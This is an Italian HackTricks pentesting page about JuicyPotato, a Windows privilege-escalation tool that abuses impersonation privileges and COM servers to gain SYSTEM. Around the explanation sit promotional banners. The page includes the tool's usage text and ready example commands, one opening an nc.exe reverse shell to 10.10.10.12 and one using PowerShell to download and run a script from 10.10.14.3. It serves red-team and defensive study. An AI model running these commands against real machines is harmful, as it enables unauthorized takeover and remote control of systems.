11 KiB
JuicyPotato
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
- Lavori in una azienda di sicurezza informatica? Vuoi vedere la tua azienda pubblicizzata su HackTricks? o vuoi avere accesso all'ultima versione del PEASS o scaricare HackTricks in PDF? Controlla i PIANI DI ABBONAMENTO!
- Scopri La Famiglia PEASS, la nostra collezione di esclusive NFT
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguimi su Twitter 🐦@carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR al repo di hacktricks e al repo di hacktricks-cloud.
WhiteIntel
WhiteIntel è un motore di ricerca alimentato dal dark web che offre funzionalità gratuite per verificare se un'azienda o i suoi clienti sono stati compromessi da malware ruba-informazioni.
Il loro obiettivo principale di WhiteIntel è combattere i takeover di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
Puoi controllare il loro sito web e provare il loro motore gratuitamente su:
{% embed url="https://whiteintel.io" %}
{% hint style="warning" %}
JuicyPotato non funziona su Windows Server 2019 e Windows 10 build 1809 in poi. Tuttavia, PrintSpoofer, RoguePotato, SharpEfsPotato possono essere utilizzati per sfruttare gli stessi privilegi e ottenere accesso di livello NT AUTHORITY\SYSTEM
. Controlla:
{% endhint %}
{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}
Juicy Potato (sfruttando i privilegi dorati)
Una versione zuccherata di RottenPotatoNG, con un po' di succo, ovvero un altro strumento di Escalation dei Privilegi Locali, da Account Servizio Windows a NT AUTHORITY\SYSTEM
Puoi scaricare juicypotato da https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts
Riassunto
RottenPotatoNG e le sue varianti sfruttano la catena di escalation dei privilegi basata sul servizio BITS
service avendo il listener MiTM su 127.0.0.1:6666
e quando si hanno i privilegi SeImpersonate
o SeAssignPrimaryToken
. Durante una revisione della build di Windows abbiamo trovato una configurazione in cui BITS
era intenzionalmente disabilitato e la porta 6666
era occupata.
Abbiamo deciso di rendere armaiolo RottenPotatoNG: Diamo il benvenuto a Juicy Potato.
Per la teoria, vedi Rotten Potato - Escalation dei Privilegi da Account Servizio a SYSTEM e segui la catena di link e riferimenti.
Abbiamo scoperto che, oltre a BITS
, ci sono diversi server COM che possiamo abusare. Devono solo:
- essere istanziabili dall'utente corrente, di solito un "utente di servizio" che ha privilegi di impersonificazione
- implementare l'interfaccia
IMarshal
- essere eseguiti come utente elevato (SYSTEM, Amministratore, ...)
Dopo alcuni test abbiamo ottenuto e testato un'ampia lista di CLSID interessanti su diverse versioni di Windows.
Dettagli succulenti
JuicyPotato ti consente di:
- Target CLSID scegli qualsiasi CLSID tu voglia. Qui puoi trovare l'elenco organizzato per OS.
- Porta di ascolto COM definisci la porta di ascolto COM che preferisci (anziché il 6666 codificato in modo rigido)
- Indirizzo IP di ascolto COM vincola il server su qualsiasi IP
- Modalità di creazione del processo a seconda dei privilegi dell'utente impersonato puoi scegliere tra:
CreateProcessWithToken
(necessita diSeImpersonate
)CreateProcessAsUser
(necessita diSeAssignPrimaryToken
)entrambi
- Processo da avviare avvia un eseguibile o script se l'exploit ha successo
- Argomento del processo personalizza gli argomenti del processo avviato
- Indirizzo del server RPC per un approccio stealthy puoi autenticarti a un server RPC esterno
- Porta del server RPC utile se vuoi autenticarti a un server esterno e il firewall blocca la porta
135
... - Modalità TEST principalmente per scopi di test, cioè testare i CLSID. Crea il DCOM e stampa l'utente del token. Vedi qui per il testing
Utilizzo
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
Pensieri finali
Se l'utente ha i privilegi SeImpersonate
o SeAssignPrimaryToken
allora sei SYSTEM.
È quasi impossibile prevenire l'abuso di tutti questi Server COM. Potresti pensare di modificare i permessi di questi oggetti tramite DCOMCNFG
ma buona fortuna, sarà una sfida.
La soluzione effettiva è proteggere gli account sensibili e le applicazioni che vengono eseguite con gli account * SERVICE
. Fermare DCOM
certamente inibirà questo exploit ma potrebbe avere un impatto serio sul sistema operativo sottostante.
Da: http://ohpe.it/juicy-potato/
Esempi
Nota: Visita questa pagina per una lista di CLSID da provare.
Ottenere una shell inversa con nc.exe
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
PowerShell rev
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
Avvia un nuovo CMD (se hai accesso RDP)
Problemi con CLSID
Spesso, il CLSID predefinito utilizzato da JuicyPotato non funziona e l'exploit fallisce. Di solito, sono necessari diversi tentativi per trovare un CLSID funzionante. Per ottenere un elenco di CLSID da provare per un sistema operativo specifico, dovresti visitare questa pagina:
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
Verifica dei CLSID
Innanzitutto, avrai bisogno di alcuni eseguibili diversi da juicypotato.exe.
Scarica Join-Object.ps1 e caricalo nella tua sessione PS, scarica ed esegui GetCLSID.ps1. Quello script creerà un elenco di possibili CLSID da testare.
Successivamente scarica test_clsid.bat (cambia il percorso dell'elenco CLSID e dell'eseguibile juicypotato) ed eseguilo. Inizierà a provare ogni CLSID e quando il numero di porta cambierà, significherà che il CLSID ha funzionato.
Verifica i CLSID funzionanti utilizzando il parametro -c
Riferimenti
WhiteIntel
WhiteIntel è un motore di ricerca alimentato dal dark web che offre funzionalità gratuite per verificare se un'azienda o i suoi clienti sono stati compromessi da malware ruba-informazioni.
Il loro obiettivo principale è contrastare le violazioni degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.
Puoi visitare il loro sito web e provare il loro motore gratuitamente su:
{% embed url="https://whiteintel.io" %}
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
- Lavori in una azienda di sicurezza informatica? Vuoi vedere la tua azienda pubblicizzata in HackTricks? o vuoi avere accesso all'ultima versione del PEASS o scaricare HackTricks in PDF? Controlla i PIANI DI ABBONAMENTO!
- Scopri The PEASS Family, la nostra collezione esclusiva di NFT
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguimi su Twitter 🐦@carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR al repo hacktricks e al repo hacktricks-cloud.